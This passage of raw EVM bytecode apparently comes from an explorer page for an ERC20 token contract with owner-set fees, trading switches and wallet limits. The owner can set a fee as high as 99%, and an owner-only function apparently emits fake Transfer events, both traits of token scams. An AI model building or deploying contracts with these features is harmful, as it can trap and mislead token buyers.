ff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d819190613994565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612de591906135ff565b60405180910390a3612df884848461303c565b50505050565b6000612e0930611110565b90506000601354601454612e1d9190613994565b9050600080831480612e2f5750600082145b15612e3c57505050613009565b6014600a54612e4b9190613d87565b831115612e64576014600a54612e619190613d87565b92505b600060028360145486612e779190613d87565b612e819190613df8565b612e8b9190613df8565b90506000612ea2828661304190919063ffffffff16565b90506000479050612eb282613057565b6000612ec7824761304190919063ffffffff16565b90506000612ef287612ee46013548561300b90919063ffffffff16565b61302190919063ffffffff16565b905060008183612f0291906146b6565b905060006014819055506000601381905550600086118015612f245750600081115b15612f7157612f338682613294565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601454604051612f689392919061477c565b60405180910390a15b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612fb7906147e4565b60006040518083038185875af1925050503d8060008114612ff4576040519150601f19603f3d011682016040523d82523d6000602084013e612ff9565b606091505b5050809750505050505050505050505b565b600081836130199190613d87565b905092915050565b6000818361302f9190613df8565b905092915050565b505050565b505050565b6000818361304f91906146b6565b905092915050565b6000600267ffffffffffffffff811115613074576130736147f9565b5b6040519080825280602002602001820160405280156130a25781602001602082028036833780820191505090505b50905030816000815181106130ba576130b9613b26565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561315f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613183919061483d565b8160018151811061319757613196613b26565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506131fc307f000000000000000000000000000000000000000000000000000000000000000084611d70565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161325e959493929190614963565b600060405180830381600087803b15801561327857600080fd5b505af115801561328c573d6000803e3d6000fd5b505050505050565b6132bf307f000000000000000000000000000000000000000000000000000000000000000084611d70565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613326969594939291906149bd565b60606040518083038185885af1158015613344573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133699190614a33565b5050505050565b600080fd5b600080fd5b6000819050919050565b61338d8161337a565b811461339857600080fd5b50565b6000813590506133aa81613384565b92915050565b600080604083850312156133c7576133c6613370565b5b60006133d58582860161339b565b92505060206133e68582860161339b565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561342a57808201518184015260208101905061340f565b60008484015250505050565b6000601f19601f8301169050919050565b6000613452826133f0565b61345c81856133fb565b935061346c81856020860161340c565b61347581613436565b840191505092915050565b6000602082019050818103600083015261349a8184613447565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006134cd826134a2565b9050919050565b6134dd816134c2565b81146134e857600080fd5b50565b6000813590506134fa816134d4565b92915050565b6000806040838503121561351757613516613370565b5b6000613525858286016134eb565b92505060206135368582860161339b565b9150509250929050565b60008115159050919050565b61355581613540565b82525050565b6000602082019050613570600083018461354c565b92915050565b6000819050919050565b600061359b613596613591846134a2565b613576565b6134a2565b9050919050565b60006135ad82613580565b9050919050565b60006135bf826135a2565b9050919050565b6135cf816135b4565b82525050565b60006020820190506135ea60008301846135c6565b92915050565b6135f98161337a565b82525050565b600060208201905061361460008301846135f0565b92915050565b6000602082840312156136305761362f613370565b5b600061363e848285016134eb565b91505092915050565b6000806000606084860312156136605761365f613370565b5b600061366e868287016134eb565b935050602061367f868287016134eb565b92505060406136908682870161339b565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126136bf576136be61369a565b5b8235905067ffffffffffffffff8111156136dc576136db61369f565b5b6020830191508360208202830111156136f8576136f76136a4565b5b9250929050565b60008060006040848603121561371857613717613370565b5b600084013567ffffffffffffffff81111561373657613735613375565b5b613742868287016136a9565b935093505060206137558682870161339b565b9150509250925092565b613768816134c2565b82525050565b6000602082019050613783600083018461375f565b92915050565b600060ff82169050919050565b61379f81613789565b82525050565b60006020820190506137ba6000830184613796565b92915050565b6137c981613540565b81146137d457600080fd5b50565b6000813590506137e6816137c0565b92915050565b60008060006040848603121561380557613804613370565b5b600084013567ffffffffffffffff81111561382357613822613375565b5b61382f868287016136a9565b93509350506020613842868287016137d7565b9150509250925092565b6000806040838503121561386357613862613370565b5b6000613871858286016134eb565b9250506020613882858286016137d7565b9150509250929050565b6000602082840312156138a2576138a1613370565b5b60006138b08482850161339b565b91505092915050565b600080604083850312156138d0576138cf613370565b5b60006138de858286016134eb565b92505060206138ef858286016134eb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061392f6020836133fb565b915061393a826138f9565b602082019050919050565b6000602082019050818103600083015261395e81613922565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061399f8261337a565b91506139aa8361337a565b92508282019050808211156139c2576139c1613965565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b60006139fe601d836133fb565b9150613a09826139c8565b602082019050919050565b60006020820190508181036000830152613a2d816139f1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613a7b57607f821691505b602082108103613a8e57613a8d613a34565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613af06028836133fb565b9150613afb82613a94565b604082019050919050565b60006020820190508181036000830152613b1f81613ae3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613b608261337a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613b9257613b91613965565b5b600182019050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613bd3601d836133fb565b9150613bde82613b9d565b602082019050919050565b60006020820190508181036000830152613c0281613bc6565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613c6057808604811115613c3c57613c3b613965565b5b6001851615613c4b5780820291505b8081029050613c5985613c09565b9450613c20565b94509492505050565b600082613c795760019050613d35565b81613c875760009050613d35565b8160018114613c9d5760028114613ca757613cd6565b6001915050613d35565b60ff841115613cb957613cb8613965565b5b8360020a915084821115613cd057613ccf613965565b5b50613d35565b5060208310610133831016604e8410600b8410161715613d0b5782820a905083811115613d0657613d05613965565b5b613d35565b613d188484846001613c16565b92509050818404811115613d2f57613d2e613965565b5b81810290505b9392505050565b6000613d478261337a565b9150613d5283613789565b9250613d7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613c69565b905092915050565b6000613d928261337a565b9150613d9d8361337a565b9250828202613dab8161337a565b91508282048414831517613dc257613dc1613965565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e038261337a565b9150613e0e8361337a565b925082613e1e57613e1d613dc9565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e856021836133fb565b9150613e9082613e29565b604082019050919050565b60006020820190508181036000830152613eb481613e78565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613f176024836133fb565b9150613f2282613ebb565b604082019050919050565b60006020820190508181036000830152613f4681613f0a565b9050919050565b6000613f588261337a565b9150613f638361337a565b9250613f907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613c69565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613ff46039836133fb565b9150613fff82613f98565b604082019050919050565b6000602082019050818103600083015261402381613fe7565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006140866025836133fb565b91506140918261402a565b604082019050919050565b600060208201905081810360008301526140b581614079565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006141186035836133fb565b9150614123826140bc565b604082019050919050565b600060208201905081810360008301526141478161410b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006141aa6034836133fb565b91506141b58261414e565b604082019050919050565b600060208201905081810360008301526141d98161419d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061423c6026836133fb565b9150614247826141e0565b604082019050919050565b6000602082019050818103600083015261426b8161422f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006142ce6024836133fb565b91506142d982614272565b604082019050919050565b600060208201905081810360008301526142fd816142c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006143606022836133fb565b915061436b82614304565b604082019050919050565b6000602082019050818103600083015261438f81614353565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006143f26025836133fb565b91506143fd82614396565b604082019050919050565b60006020820190508181036000830152614421816143e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006144846023836133fb565b915061448f82614428565b604082019050919050565b600060208201905081810360008301526144b381614477565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006144f06016836133fb565b91506144fb826144ba565b602082019050919050565b6000602082019050818103600083015261451f816144e3565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006145826035836133fb565b915061458d82614526565b604082019050919050565b600060208201905081810360008301526145b181614575565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006145ee6013836133fb565b91506145f9826145b8565b602082019050919050565b6000602082019050818103600083015261461d816145e1565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006146806036836133fb565b915061468b82614624565b604082019050919050565b600060208201905081810360008301526146af81614673565b9050919050565b60006146c18261337a565b91506146cc8361337a565b92508282039050818111156146e4576146e3613965565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006147466026836133fb565b9150614751826146ea565b604082019050919050565b6000602082019050818103600083015261477581614739565b9050919050565b600060608201905061479160008301866135f0565b61479e60208301856135f0565b6147ab60408301846135f0565b949350505050565b600081905092915050565b50565b60006147ce6000836147b3565b91506147d9826147be565b600082019050919050565b60006147ef826147c1565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614837816134d4565b92915050565b60006020828403121561485357614852613370565b5b600061486184828501614828565b91505092915050565b6000819050919050565b600061488f61488a6148858461486a565b613576565b61337a565b9050919050565b61489f81614874565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148da816134c2565b82525050565b60006148ec83836148d1565b60208301905092915050565b6000602082019050919050565b6000614910826148a5565b61491a81856148b0565b9350614925836148c1565b8060005b8381101561495657815161493d88826148e0565b9750614948836148f8565b925050600181019050614929565b5085935050505092915050565b600060a08201905061497860008301886135f0565b6149856020830187614896565b81810360408301526149978186614905565b90506149a6606083018561375f565b6149b360808301846135f0565b9695505050505050565b600060c0820190506149d2600083018961375f565b6149df60208301886135f0565b6149ec6040830187614896565b6149f96060830186614896565b614a06608083018561375f565b614a1360a08301846135f0565b979650505050505050565b600081519050614a2d81613384565b92915050565b600080600060608486031215614a4c57614a4b613370565b5b6000614a5a86828701614a1e565b9350506020614a6b86828701614a1e565b9250506040614a7c86828701614a1e565b915050925092509256fea2646970667358221220b029b5f17b15fb8fce59df2df6e1c7cb537633b1ff65c3a3255083fc76b4690064736f6c63430008130033000000000000000000000000149f774c32d20fb20745b71816fbd40760fea64c

Deployed Bytecode

0x6080604052600436106102345760003560e01c80637571336a1161012e578063bbc0c742116100ab578063d85ba0631161006f578063d85ba0631461085e578063dd62ed3e14610889578063e2f45605146108c6578063f2fde38b146108f1578063f8b45b051461091a5761023b565b8063bbc0c74214610779578063c0246668146107a4578063c2b7bbb6146107cd578063c8c8ebe4146107f6578063d257b34f146108215761023b565b806396188399116100f257806396188399146106825780639a7a23d6146106ab578063a457c2d7146106d4578063a64e4f8a14610711578063a9059cbb1461073c5761023b565b80637571336a146105c157806375f0a874146105ea5780638a8c523c146106155780638da5cb5b1461062c57806395d89b41146106575761023b565b8063313ce567116101bc57806366ca9b831161018057806366ca9b83146104ee5780636a486a8e146105175780636ddd17131461054257806370a082311461056d578063715018a6146105aa5761023b565b8063313ce567146103f55780633950935114610420578063418ff32c1461045d57806349bd5a5e146104865780634fbee193146104b15761023b565b806318160ddd1161020357806318160ddd146102fc57806320989eef1461032757806323b872dd1461036457806326ededb8146103a157806327c8f835146103ca5761023b565b806302dbd8f81461024057806306fdde0314610269578063095ea7b3146102945780631694505e146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610267600480360381019061026291906133b0565b610945565b005b34801561027557600080fd5b5061027e610a38565b60405161028b9190613480565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190613500565b610aca565b6040516102c8919061355b565b60405180910390f35b3480156102dd57600080fd5b506102e6610ae8565b6040516102f391906135d5565b60405180910390f35b34801561030857600080fd5b50610311610b0c565b60405161031e91906135ff565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061361a565b610b16565b60405161035b919061355b565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190613647565b610b6c565b604051610398919061355b565b60405180910390f35b3480156103ad57600080fd5b506103c860048036038101906103c391906136ff565b610c64565b005b3480156103d657600080fd5b506103df610db5565b6040516103ec919061376e565b60405180910390f35b34801561040157600080fd5b5061040a610dbb565b60405161041791906137a5565b60405180910390f35b34801561042c57600080fd5b5061044760048036038101906104429190613500565b610dc4565b604051610454919061355b565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f91906137ec565b610e70565b005b34801561049257600080fd5b5061049b610f91565b6040516104a8919061376e565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d3919061361a565b610fb7565b6040516104e5919061355b565b60405180910390f35b3480156104fa57600080fd5b50610515600480360381019061051091906133b0565b61100d565b005b34801561052357600080fd5b5061052c6110f7565b60405161053991906135ff565b60405180910390f35b34801561054e57600080fd5b506105576110fd565b604051610564919061355b565b60405180910390f35b34801561057957600080fd5b50610594600480360381019061058f919061361a565b611110565b6040516105a191906135ff565b60405180910390f35b3480156105b657600080fd5b506105bf611158565b005b3480156105cd57600080fd5b506105e860048036038101906105e3919061384c565b6111e0565b005b3480156105f657600080fd5b506105ff6112b7565b60405161060c919061376e565b60405180910390f35b34801561062157600080fd5b5061062a6112dd565b005b34801561063857600080fd5b50610641611391565b60405161064e919061376e565b60405180910390f35b34801561066357600080fd5b5061066c6113bb565b6040516106799190613480565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a491906133b0565b61144d565b005b3480156106b757600080fd5b506106d260048036038101906106cd919061384c565b611631565b005b3480156106e057600080fd5b506106fb60048036038101906106f69190613500565b611755565b604051610708919061355b565b60405180910390f35b34801561071d57600080fd5b50610726611840565b604051610733919061355b565b60405180910390f35b34801561074857600080fd5b50610763600480360381019061075e9190613500565b611853565b604051610770919061355b565b60405180910390f35b34801561078557600080fd5b5061078e611871565b60405161079b919061355b565b60405180910390f35b3480156107b057600080fd5b506107cb60048036038101906107c6919061384c565b611884565b005b3480156107d957600080fd5b506107f460048036038101906107ef919061361a565b6119a9565b005b34801561080257600080fd5b5061080b611a69565b60405161081891906135ff565b60405180910390f35b34801561082d57600080fd5b506108486004803603810190610843919061388c565b611a6f565b604051610855919061355b565b60405180910390f35b34801561086a57600080fd5b50610873611bc4565b60405161088091906135ff565b60405180910390f35b34801561089557600080fd5b506108b060048036038101906108ab91906138b9565b611bca565b6040516108bd91906135ff565b60405180910390f35b3480156108d257600080fd5b506108db611c51565b6040516108e891906135ff565b60405180910390f35b3480156108fd57600080fd5b506109186004803603810190610913919061361a565b611c57565b005b34801561092657600080fd5b5061092f611d4e565b60405161093c91906135ff565b60405180910390f35b61094d611d54565b73ffffffffffffffffffffffffffffffffffffffff1661096b611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b890613945565b60405180910390fd5b81601181905550806012819055506012546011546109df9190613994565b60108190555060105460158190555060636010541115610a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2b90613a14565b60405180910390fd5b5050565b606060038054610a4790613a63565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7390613a63565b8015610ac05780601f10610a9557610100808354040283529160200191610ac0565b820191906000526020600020905b815481529060010190602001808311610aa357829003601f168201915b5050505050905090565b6000610ade610ad7611d54565b8484611d70565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b79848484611f39565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bc4611d54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3b90613b06565b60405180910390fd5b610c5885610c50611d54565b858403611d70565b60019150509392505050565b610c6c611d54565b73ffffffffffffffffffffffffffffffffffffffff16610c8a611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790613945565b60405180910390fd5b60005b83839050811015610daf57838382818110610d0157610d00613b26565b5b9050602002016020810190610d16919061361a565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d9491906135ff565b60405180910390a38080610da790613b55565b915050610ce3565b50505050565b61dead81565b60006009905090565b6000610e66610dd1611d54565b848460016000610ddf611d54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e619190613994565b611d70565b6001905092915050565b610e78611d54565b73ffffffffffffffffffffffffffffffffffffffff16610e96611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390613945565b60405180910390fd5b60005b83839050811015610f8b578160196000868685818110610f1257610f11613b26565b5b9050602002016020810190610f27919061361a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f8390613b55565b915050610eef565b50505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611015611d54565b73ffffffffffffffffffffffffffffffffffffffff16611033611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611089576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108090613945565b60405180910390fd5b81600e8190555080600f81905550600f54600e546110a79190613994565b600d819055506014600d5411156110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea90613be9565b60405180910390fd5b5050565b60105481565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611160611d54565b73ffffffffffffffffffffffffffffffffffffffff1661117e611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cb90613945565b60405180910390fd5b6111de6000612970565b565b6111e8611d54565b73ffffffffffffffffffffffffffffffffffffffff16611206611d5c565b73ffffffffffffffffffffffffffffffffffffffff161461125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390613945565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112e5611d54565b73ffffffffffffffffffffffffffffffffffffffff16611303611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090613945565b60405180910390fd5b6001600c60016101000a81548160ff0219169083151502179055506001600c60026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546113ca90613a63565b80601f01602080910402602001604051908101604052809291908181526020018280546113f690613a63565b80156114435780601f1061141857610100808354040283529160200191611443565b820191906000526020600020905b81548152906001019060200180831161142657829003601f168201915b5050505050905090565b611455611d54565b73ffffffffffffffffffffffffffffffffffffffff16611473611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c090613945565b60405180910390fd5b6114d1610dbb565b600a6114dd9190613d3c565b6103e860056114ea610b0c565b6114f49190613d87565b6114fe9190613df8565b6115089190613df8565b82101561154a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154190613e9b565b60405180910390fd5b611552610dbb565b600a61155e9190613d3c565b6103e8600561156b610b0c565b6115759190613d87565b61157f9190613df8565b6115899190613df8565b8110156115cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c290613f2d565b60405180910390fd5b6115d3610dbb565b600a6115df9190613d3c565b600a6115eb9190613f4d565b816115f69190613d87565b600b81905550611604610dbb565b600a6116109190613d3c565b600a61161c9190613f4d565b826116279190613d87565b6009819055505050565b611639611d54565b73ffffffffffffffffffffffffffffffffffffffff16611657611d5c565b73ffffffffffffffffffffffffffffffffffffffff16146116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490613945565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361173d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117349061400a565b60405180910390fd5b61174782826111e0565b6117518282612a36565b5050565b60008060016000611764611d54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118189061409c565b60405180910390fd5b61183561182c611d54565b85858403611d70565b600191505092915050565b600c60009054906101000a900460ff1681565b6000611867611860611d54565b8484611f39565b6001905092915050565b600c60019054906101000a900460ff1681565b61188c611d54565b73ffffffffffffffffffffffffffffffffffffffff166118aa611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f790613945565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161199d919061355b565b60405180910390a25050565b6119b1611d54565b73ffffffffffffffffffffffffffffffffffffffff166119cf611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1c90613945565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6000611a79611d54565b73ffffffffffffffffffffffffffffffffffffffff16611a97611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae490613945565b60405180910390fd5b620186a06001611afb610b0c565b611b059190613d87565b611b0f9190613df8565b821015611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b489061412e565b60405180910390fd5b6103e86005611b5e610b0c565b611b689190613d87565b611b729190613df8565b821115611bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bab906141c0565b60405180910390fd5b81600a8190555060019050919050565b600d5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b611c5f611d54565b73ffffffffffffffffffffffffffffffffffffffff16611c7d611d5c565b73ffffffffffffffffffffffffffffffffffffffff1614611cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cca90613945565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3990614252565b60405180910390fd5b611d4b81612970565b50565b600b5481565b600033905090565b600080611d67612ad7565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd6906142e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590614376565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f2c91906135ff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9f90614408565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200e9061449a565b60405180910390fd5b600081036120305761202b83836000612b7f565b61296b565b612038611391565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120a65750612076611391565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612119575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121325750600760149054906101000a900460ff16155b1561246657600c60019054906101000a900460ff1661222c57601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121ec5750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61222b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222290614506565b60405180910390fd5b5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122cf5750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561237657600954811115612319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231090614598565b60405180910390fd5b600b5461232583611110565b826123309190613994565b1115612371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236890614604565b60405180910390fd5b612465565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124195750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1